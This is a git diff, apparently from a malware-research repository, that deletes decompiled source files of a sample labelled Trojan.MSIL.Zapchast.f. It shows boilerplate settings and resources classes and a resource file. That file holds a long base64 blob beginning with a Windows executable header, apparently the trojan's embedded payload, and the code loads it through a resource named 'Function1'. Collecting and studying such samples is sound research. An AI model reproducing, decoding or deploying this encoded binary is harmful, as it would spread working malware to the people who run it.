MySettingsProperty.Settings.Save(); - } - - public static MySettings Default - { - get - { - if (!MySettings.addedHandler) - { - object handlerLockObject = MySettings.addedHandlerLockObject; - ObjectFlowControl.CheckForSyncLockOnValueType(handlerLockObject); - Monitor.Enter(handlerLockObject); - try - { - if (!MySettings.addedHandler) - { - MyProject.Application.Shutdown += (ShutdownEventHandler) ((sender, e) => - { - if (!MyProject.Application.SaveMySettingsOnExit) - return; - MySettingsProperty.Settings.Save(); - }); - MySettings.addedHandler = true; - } - } - finally - { - Monitor.Exit(handlerLockObject); - } - } - MySettings defaultInstance = MySettings.defaultInstance; - return defaultInstance; - } - } - } -} diff --git a/MSIL/Trojan/MSIL/Z/Trojan.MSIL.Zapchast.f-911d7f4494fd46d5c8081ddc156c7437803a5b024376c854d94e569d3af8178e/My/MySettingsProperty.cs b/MSIL/Trojan/MSIL/Z/Trojan.MSIL.Zapchast.f-911d7f4494fd46d5c8081ddc156c7437803a5b024376c854d94e569d3af8178e/My/MySettingsProperty.cs deleted file mode 100644 index 60b95032..00000000 --- a/MSIL/Trojan/MSIL/Z/Trojan.MSIL.Zapchast.f-911d7f4494fd46d5c8081ddc156c7437803a5b024376c854d94e569d3af8178e/My/MySettingsProperty.cs +++ /dev/null @@ -1,31 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: XqNvNTCMcR.My.MySettingsProperty -// Assembly: XqNvNTCMcR, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: A5A8A841-0793-42CD-986F-63D1DC804A99 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Zapchast.f-911d7f4494fd46d5c8081ddc156c7437803a5b024376c854d94e569d3af8178e.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using System.ComponentModel.Design; -using System.Diagnostics; -using System.Runtime.CompilerServices; - -namespace XqNvNTCMcR.My -{ - [DebuggerNonUserCode] - [CompilerGenerated] - [HideModuleName] - [StandardModule] - internal sealed class MySettingsProperty - { - [HelpKeyword("My.Settings")] - internal static MySettings Settings - { - get - { - MySettings settings = MySettings.Default; - return settings; - } - } - } -} diff --git a/MSIL/Trojan/MSIL/Z/Trojan.MSIL.Zapchast.f-911d7f4494fd46d5c8081ddc156c7437803a5b024376c854d94e569d3af8178e/My/Resources/Resources.cs b/MSIL/Trojan/MSIL/Z/Trojan.MSIL.Zapchast.f-911d7f4494fd46d5c8081ddc156c7437803a5b024376c854d94e569d3af8178e/My/Resources/Resources.cs deleted file mode 100644 index 712101aa..00000000 --- a/MSIL/Trojan/MSIL/Z/Trojan.MSIL.Zapchast.f-911d7f4494fd46d5c8081ddc156c7437803a5b024376c854d94e569d3af8178e/My/Resources/Resources.cs +++ /dev/null @@ -1,51 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: XqNvNTCMcR.My.Resources.Resources -// Assembly: XqNvNTCMcR, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: A5A8A841-0793-42CD-986F-63D1DC804A99 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Zapchast.f-911d7f4494fd46d5c8081ddc156c7437803a5b024376c854d94e569d3af8178e.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Diagnostics; -using System.Drawing; -using System.Globalization; -using System.Resources; -using System.Runtime.CompilerServices; - -namespace XqNvNTCMcR.My.Resources -{ - [DebuggerNonUserCode] - [HideModuleName] - [StandardModule] - [CompilerGenerated] - [GeneratedCode("System.Resources.Tools.StronglyTypedResourceBuilder", "4.0.0.0")] - internal sealed class Resources - { - private static ResourceManager resourceMan; - private static CultureInfo resourceCulture; - - [EditorBrowsable(EditorBrowsableState.Advanced)] - internal static ResourceManager ResourceManager - { - get - { - if (object.ReferenceEquals((object) XqNvNTCMcR.My.Resources.Resources.resourceMan, (object) null)) - XqNvNTCMcR.My.Resources.Resources.resourceMan = new ResourceManager("XqNvNTCMcR.Resources", typeof (XqNvNTCMcR.My.Resources.Resources).Assembly); - return XqNvNTCMcR.My.Resources.Resources.resourceMan; - } - } - - [EditorBrowsable(EditorBrowsableState.Advanced)] - internal static CultureInfo Culture - { - get => XqNvNTCMcR.My.Resources.Resources.resourceCulture; - set => XqNvNTCMcR.My.Resources.Resources.resourceCulture = value; - } - - internal static byte[] Function1 => (byte[]) RuntimeHelpers.GetObjectValue(XqNvNTCMcR.My.Resources.Resources.ResourceManager.GetObject(nameof (Function1), XqNvNTCMcR.My.Resources.Resources.resourceCulture)); - - internal static Bitmap winows7___2_ => (Bitmap) RuntimeHelpers.GetObjectValue(XqNvNTCMcR.My.Resources.Resources.ResourceManager.GetObject(nameof (winows7___2_), XqNvNTCMcR.My.Resources.Resources.resourceCulture)); - } -} diff --git a/MSIL/Trojan/MSIL/Z/Trojan.MSIL.Zapchast.f-911d7f4494fd46d5c8081ddc156c7437803a5b024376c854d94e569d3af8178e/Resources.resx b/MSIL/Trojan/MSIL/Z/Trojan.MSIL.Zapchast.f-911d7f4494fd46d5c8081ddc156c7437803a5b024376c854d94e569d3af8178e/Resources.resx deleted file mode 100644 index 171dbb93..00000000 --- a/MSIL/Trojan/MSIL/Z/Trojan.MSIL.Zapchast.f-911d7f4494fd46d5c8081ddc156c7437803a5b024376c854d94e569d3af8178e/Resources.resx +++ /dev/null @@ -1,470 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - text/microsoft-resx - - - 2.0 - - - System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - - - 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 - AAERCm9NAAAGJiArVsBZKA0AAAYoNQAABiCEV8BZKA0AAAYoNQAABigKAAArEwsRCxEHF48oAAABcSgA - AAFvSQAABibdGwAAAChcAAAKFgooXQAACt0RAAAAKF0AAArdAAAAABcKOAAAAAAGKgAAAEE0AAAAAAAA - BgAAAF0AAABjAAAAGQAAACIAAAEAAAAAAAAAAEUEAABFBAAAGwAAACIAAAETMAIAOgAAABYAABEoaAAA - CgIoaQAACm9qAAAKCyhoAAAKByhpAAAKb2oAAAoMKGgAAAoIKGkAAApvagAACgo4AAAAAAYqAABWc1cA - AAYoawAACnQdAAACgBIAAAQqAAAeAihsAAAKKhMwAQANAAAABQAAEX4SAAAECjgAAAAABioAAAC0AAAA - zsrvvgEAAACRAAAAbFN5c3RlbS5SZXNvdXJjZXMuUmVzb3VyY2VSZWFkZXIsIG1zY29ybGliLCBWZXJz - aW9uPTIuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4 - OSNTeXN0ZW0uUmVzb3VyY2VzLlJ1bnRpbWVSZXNvdXJjZVNldAIAAAAAAAAAAAAAAFBBRFBBRFC0AAAA - OAIAAHK3MzJYxWX3zT4ers+aI+jxGZU196pbtCMWa6xGl+4gWjEpAUBO5pzflGer4loGedbpJk5K0Fpf - F+fNPh7H0u3of9Qm0066X6OVzT4ePch2KC3x1Nz4PSNVSPGYzT4eFAieOnKGOkfXYm3+gDP1hEhlelwH - mqetC5sYh80+How6gJy80CXbcWVY3zqsBX9l6WBrCTXpgMOLZtpnA5qMwgcNKaZn8LOdl7tSzT4eJaWp - cmkH7ayXyyfzvUkEVS52xgQAWMPyHeLhhSZrf2Z9XXvRFTX/vIJvGTNKFacRzT4empZMeHIzNjjF5Z3g - 5RtfMfiTchDNPh7Sg3aBJwn6YIGoHu3tekxd+gdS2B2WbOo8cd5kvdARiZxEAxSxUBYLDd/YBAUpkuD4 - wwZOCphgYLNWNNvMPh6lGeRjdOY8J6BgfopNHMvMdO6ZRgagrjFWp45PdcgC6iP5HTMhRYAwU40SY/mn - mpLMPh5VTYqBqzKx2MIua6zP4UgqQuDeCmeD06Rzp2iP/MVUeIs/u8lum2Hp42M5Zcw+HqZLlZlx71MM - FgIVzQ7MMyyFFtTp18/VGdM9ZtBzSWID2l7WXBERuOdhNyq2XICgMMw+Hp3f5C38ULQJ0L5lCps0BMXj - 16DHsUi2VU1Ni6Wa3KJIDOcCblBn2wIdhM9pbVuND8w+HnB+5I9s5fGqoClBuf4zvnFOgxHJ6zqWn/EW - VJfdpU8i+G151c8+HgWJto1c4ClJces4rTJp8XLTnOBCU0pCAQABAAAAAAAMAAAAdjIuMC41MDcyNwAA - AAAFAGwAAACMEQAAI34AAPgRAACwDQAAI1N0cmluZ3MAAAAAqB8AABAAAAAjR1VJRAAAALgfAACMBgAA - I0Jsb2IAAABEJgAAJAAAACNVUwAAAAAAAgAAAVc1oh0JDwAAAPoBMwACAAABAAAATQAAAB0AAAASAAAA - WAAAAIcAAABsAAAANgAAAAgAAAAWAAAAAQAAAAEAAAABAAAAAQAAAAoAAAACAAAAAQAAAAMAAAACAAAA - EgAAAAQAAAAKAAAAAAALAAEAAAAAAAoAjgCeAAoAyACeAAoAzQDZAAoAAAHZAAoAGAEhAQoAPwEhAQoA - TgEiAAoAZgEiAAoAgQGRAQoAsgHBAQYA6wE4AAYA9QE4AAYA+wE4AAYACQI4AAYAFgI4AAYAHgI4AAYA - JQI4AAYAKgI4AA4ALwJGAgYAXgJrAgYAhgJrAgYAlAJrAg4AmwK0Ag4AygK0Ag4A3wL3Ag4ADAP3AgYA - GQM4AAYAIQM4AAYAKgNCAwYAVQNCAwYAcgNCAwYAfQNCAwYAiAM4AAYAlAM4AAYAngOqAwYAvwM4AAYA - zAM4AAYA0gM4AAYA2AM4AAYA3gM4AAYA5QPyAwYA/APyAwYAAQTyAwYABgTyAwYADQQ4AAYAHwQ4AAYA - JgQvBAYAQQQvBAYAWgQvBAYAdQQvBAYAkgQvBAYArwQvBAYAvAQvBAYA1QQvBAYA7AQvBAYABwUvBAYA - EgUvBAYAHQUtBQYAPgVeBQYAfgVeBQYAmQVeBQYAtwVeBQYAxgVeBQYA3gXyBQYAEQbyBQYAHwbyBQYA - JwY4AAYAOwY4AAYATQY4AAYAVAZdBgYAaQZdBgYAdwZ/BgYAkAY4AAYAlQY4AAYAnAY4AAYAowY4AAYA - qgY4AAAAAACvBgAAAAABAAEAAAEAALgGAAAFAAEAAQAAAQAAugYAABUAAQACAAABEAC8BgAAuQABAAMA - AAEAAL4GAAC5AAUACAAAAQAAwAYAALkABQAJAIABEADCBgAAuQAHAAwAgAEQAMQGAAC5AA4ADwCAARAA - xgYAALkADgAQAAMBEAC4BgAAuQAPABUAgwEQALoGAAC5ABEAGAADARAAvAYAALkAEQAbAAMBEAC+BgAA - uQARAB0AAwEQAMAGAAC5ABEAHwADARAAwgYAALkAEQAhAAMBEADEBgAAuQARACMAAwEQAMYGAAC5ABEA - JQAFAQAAuAYAALkAEQAnAAUBAAC6BgAAuQARAC4AAQAAAMsGAQC5ABIAMAACAQAA0AYAALUAEgA2AAIB - AADjBgAAtQASADoAAgEAAPUGAAC1ABIAPgACAQAACAcAALUAEgBCAAIBAAAZBwAAtQASAEYAAgEAACsH - AAC1ABIASgACAQAAPwcAALUAEgBOAAIBAABQBwAAtQASAFIAAAEQAGMHbgdlABIAVgAxALgGFwAxALoG - HwAxALwGJwAxAMAGLwARALgGVAARALoGWQAxALgGcQARALoGeQARALwGfgARAMAGggARAL4GhQARAMIG - fgARAMQGhQARALgGnwABALgGhQABALoGhQAhALgG6AARAO4K5gFQIAAAAAAGGHsHEwABAFggAAAAAAYY - ewcTAAEAYCAAAAAAERiBBzcAAQCMIAAAAAATALgGOwABAKwgAAAAABMAuAZAAAEAzCAAAAAAEwC4BkUA - AQDsIAAAAAATALgGSgABAAwhAAAAABMAuAZPAAEAKCEAAAAAEwC4Bl4AAQB4IQAAAAATALgGZAABAJQh - AAAAABMAuAZqAAEAnCEAAAAAkRiBBzcAAgCsIQAACACTALgGiAACAEAnAAAAAJEAuAaNAAMA8CcAAAAA - lgC4BpYABgB4KAAAAACRGIEHNwAIAIQoAAAIAJMAuAajAAgAgCoAAAgAkQC4BqcACACQKgAACACRALoG - pwAIAAgrAAAAAJEAuAarAAgAECsAAAAAgxh7BxMACQAgKwAACACDALgGsgAJAFAsAAAIAIMAuAa2AAkA - YC0AAAAAkwC4BrsACgB4LQAAAACTALoGuwAMAJwtAAAAAJMAvAa7AA4AtC0AAAAAhhh7BxMAEAC8LQAA - CACTALgGwQAQADQuAAAAAIYYewcTABAAPC4AAAgAkwC4BsEAEADELgAAAACGGHsHEwAQAMwuAAAIAJMA - uAbBABAAZC8AAAAAhhh7BxMAEABsLwAACACTALgGwQAQABgwAAAAAIYYewcTABAAIDAAAAgAkwC4BsEA - EACQMAAAAACGGHsHEwAQAJgwAAAIAJMAuAbBABAANDEAAAAABhh7BxMAEAA8MQAAAABGAogHxQAQAFwx - AAAAAEYCjwfKABEAeDEAAAAAgwC4Bs4AEQCYMQAAAABGApsH1AARALQxAAAAABEAuAbYABEA5DEAAAAA - AQC6BuAAEgAAMgAAAAAGGHsHEwATABQyAAAAAAMAuAbwABMAVDIAAAAABhh7BxMAEwAAAAAAgAAWIKQH - 9QATAAAAAACAABYgtgf9ABQAXDIAAAAAFgDMBwQBFgCUMgAAAAAWAOQHDAEYAEA3AAAAABYA/QcSARkA - AAAAAAMABhh7BxcBGgAAAAAAAwBGAyUIHQEcAAAAAAADAEYDfAgpASAAAAAAAAMARgOaCDABIQAAAAAA - AwAGGHsHFwEkAAAAAAADAEYDJQg5ASYAAAAAAAMARgN8CCkBMgAAAAAAAwBGA5oIUAEzAAAAAAADAAYY - ewcXAT4AAAAAAAMARgMlCGIBQAAAAAAAAwBGA3wIcAFHAAAAAAADAEYDmgh3AUgAAAAAAAMABhh7BxcB - 